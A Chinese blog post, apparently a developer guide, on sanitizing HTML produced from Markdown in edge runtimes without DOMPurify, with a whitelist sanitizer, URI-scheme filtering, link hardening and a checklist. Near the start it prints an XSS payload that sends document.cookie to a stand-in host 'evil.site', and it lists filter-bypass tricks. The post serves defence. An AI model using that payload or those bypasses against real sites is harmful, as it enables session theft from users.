把 Markdown 转成 HTML 只是第一步。真正的坑在于:Markdown 允许内嵌原始 HTML。
这是正常内容
<img src=x onerror="fetch('//evil.site?c='+document.cookie)">
marked 会原样输出这个 <img>。如果直接 innerHTML 或者返回给浏览器,Cookie 就没了。
常见但不完整的做法
❌ 用正则删 <script>
html.replace(/<script.*?<\/script>/gs, '');
绕过方法太多了:大小写、<scr<script>ipt> 嵌套、事件属性、javascript: 协议、<svg onload>。
❌ 只做转义
转义会毁掉 Markdown 的全部价值——你没法再写内联 HTML 的 <br>、<details> 了。
❌ 依赖 marked 的 sanitize 选项
老版本有这个选项,新版已移除,官方明确说消毒应该交给专门的库。
为什么不用 DOMPurify
DOMPurify 是浏览器端的事实标准,但它依赖 DOM 解析器。在 Cloudflare Workers 这类没有 DOM 的运行时里,要么引入 jsdom(几十 MB,不可能),要么放弃。
结论:在边缘运行时,自己写一个白名单消毒器更现实。
白名单消毒器的核心逻辑
思路很简单:逐字符扫描 HTML,只保留「标签名在允许列表里、属性名在允许列表里、属性值安全」的部分。
const ALLOWED_TAGS = new Set([
'h1','h2','h3','h4','h5','h6','p','br','hr','strong','em','del','code','pre',
'blockquote','ul','ol','li','a','img','table','thead','tbody','tr','th','td',
'input','figure','figcaption','kbd','mark','details','summary',
]);
// 这些标签连内部内容一起丢掉
const DROP_CONTENT = new Set([
'script','style','iframe','object','embed','link','meta','form','textarea',
'button','svg','math','template','noscript',
]);
扫描时按标签处理:
export function sanitizeHtml(html) {
let out = '';
let i = 0;
while (i < html.length) {
const lt = html.indexOf('<', i);
if (lt === -1) { out += html.slice(i); break; }
out += html.slice(i, lt); // 标签之间的文本原样保留(marked 已转义)
const gt = findTagEnd(html, lt); // 注意要跳过引号里的 >
if (gt === -1) { out += '<'; i = lt + 1; continue; }
const raw = html.slice(lt + 1, gt);
const tag = /^([a-zA-Z][a-zA-Z0-9-]*)/.exec(raw.replace(/^\//, ''))?.[1]?.toLowerCase();
if (DROP_CONTENT.has(tag)) { // script/style/iframe → 整段丢弃
if (!raw.startsWith('/')) {
const re = new RegExp(`</${tag}\\s*>`, 'ig');
re.lastIndex = gt + 1;
const found = re.exec(html);
i = found ? found.index + found[0].length : html.length;
} else i = gt + 1;
continue;
}
// 只保留白名单标签,其余标签剥掉但保留其文本内容
...
}
return out;
}
属性过滤要单独做,重点拦这三类:
function isSafeValue(attr, value) {
const v = String(value).trim();
if (attr === 'href' || attr === 'src') {
const lower = v.toLowerCase().replace(/[\u0000-\u0020]+/g, ''); // 去掉控制字符绕过
if (lower.startsWith('javascript:') || lower.startsWith('vbscript:')) return false;
if (lower.startsWith('data:')) {
return attr === 'src' && /^data:image\/(png|jpe?g|gif|webp|avif);/i.test(v);
}
return true;
}
return true;
}
三个细节别漏:
- 属性名必须以
on开头的一律丢弃(onclick、onerror、onload) javascript:前可能插入控制字符,要先剥离再判断data:只允许图片类型,data:text/html是个经典陷阱
外链还要加一层
if (tag === 'a' && /^https?:\/\//i.test(href)) {
tagHtml += ' target="_blank" rel="noopener noreferrer nofollow"';
}
noopener 防止 window.opener 被反向控制,nofollow 防止被垃圾外链利用。
「只有我能发文」不是安全策略
最常见的侥幸心理是:博客只有管理员能写,所以不用消毒。
但攻击面比想象中大:
- 管理员账号被盗(弱密码、Cookie 泄露)
- 数据库被注入或误导入他人内容
- 未来加了评论、友链、导入功能
- 复制粘贴的代码片段里自带
<script>
消毒是纵深防御的一层,成本很低,没有理由跳过。
顺带做掉的两件事
标题锚点与目录
const toc = [];
const withIds = html.replace(/<h([1-4])([^>]*)>([\s\S]*?)<\/h\1>/g, (full, level, attrs, inner) => {
const text = inner.replace(/<[^>]+>/g, '').trim();
const id = text.toLowerCase().replace(/[^\p{Script=Han}\p{L}\p{N}]+/gu, '-').slice(0, 60);
if (Number(level) === 2 || Number(level) === 3) toc.push({ level: Number(level), id, text });
return `<h${level}${attrs} id="${id}">${inner}</h${level}>`;
});
复制按钮与代码高亮
服务端只输出标准的 <pre><code class="language-js">,高亮和复制按钮交给前端渐进增强——这样即使 JS 加载失败,代码依然可读、可选中复制。
检查清单
- Markdown 渲染后必须过白名单消毒
-
on*事件属性全部丢弃 -
href/src过滤javascript:、vbscript:、非图片data: -
DROP_CONTENT里的标签连内容一起删 - 外链加
rel="noopener noreferrer" - 消毒逻辑写单元测试,把绕过手法都固化成用例
最后一条最重要:消毒代码一定要有测试,否则某次「顺手优化正则」就可能把防护改没了。